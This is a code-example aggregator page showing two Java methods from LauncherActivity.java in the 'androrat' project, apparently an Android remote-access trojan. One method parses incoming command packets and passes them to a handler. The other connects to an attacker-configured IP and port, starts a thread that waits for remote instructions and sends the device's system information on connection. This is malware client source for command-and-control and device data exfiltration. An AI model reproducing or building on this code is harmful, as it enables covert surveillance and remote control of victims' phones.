コード例 #1
0
ファイル: LauncherActivity.java プロジェクト: 0x4139/androrat
  public void Storage(TransportPacket p, String i) {
    try {
      packet =
          new CommandPacket(); // !!!!!!!!!!!! Sinon on peut surement en valeur les arguments des
                               // command précédantes !
      packet.parse(p.getData());

      Message mess = new Message();
      Bundle b = new Bundle();
      b.putShort("command", packet.getCommand());
      b.putByteArray("arguments", packet.getArguments());
      b.putInt("chan", packet.getTargetChannel());
      mess.setData(b);
      handler.sendMessage(mess);
    } catch (Exception e) {
      System.out.println("Androrat.Client.storage : pas une commande");
    }
  }
コード例 #2
0
ファイル: LauncherActivity.java プロジェクト: 0x4139/androrat
  public void onStartCommand() {
    Log.i(TAG, "In onCreate");
    infos = new SystemInfo(this);
    procCmd = new ProcessCommand(this);

    loadPreferences();
    this.ip = ipfield.getText().toString();
    this.port = new Integer(portfield.getText().toString());
    // this.ip = "192.168.0.12";
    // this.port = 9999;

    if (!isRunning) { // C'est la première fois qu'on le lance
      // --- On ne passera qu'une fois ici ---
      isRunning = true;
      conn = new Connection(ip, port, this); // On se connecte et on lance les threads
      Log.i(TAG, "Try to connect to " + ip + ":" + port);
      if (conn.connect()) {
        packet = new CommandPacket();
        readthread =
            new Thread(
                new Runnable() {
                  public void run() {
                    waitInstruction();
                  }
                });
        readthread.start(); // On commence vraiment a écouter
        CommandPacket pack = new CommandPacket(Protocol.CONNECT, 0, infos.getBasicInfos());
        handleData(0, pack.build());
        // gps = new GPSListener(this, LocationManager.NETWORK_PROVIDER,(short)4);
        // //!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
        isListening = true;
        Toast.makeText(getApplicationContext(), "Connected!", Toast.LENGTH_LONG).show();
      } else {
        Toast.makeText(getApplicationContext(), "Connection failed", Toast.LENGTH_LONG).show();
      }
    }
  }